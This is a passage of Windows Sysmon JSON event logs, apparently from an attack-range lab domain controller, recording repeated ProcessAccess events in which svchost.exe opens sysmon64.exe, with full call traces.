C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.734","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1396,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.735\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.735","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1397,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.735\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.735","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1398,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.735\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.735","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1399,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.735\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.735","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1400,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.735\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.735","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1401,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.735\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.735","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1402,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.735\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.735","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1403,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.735\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 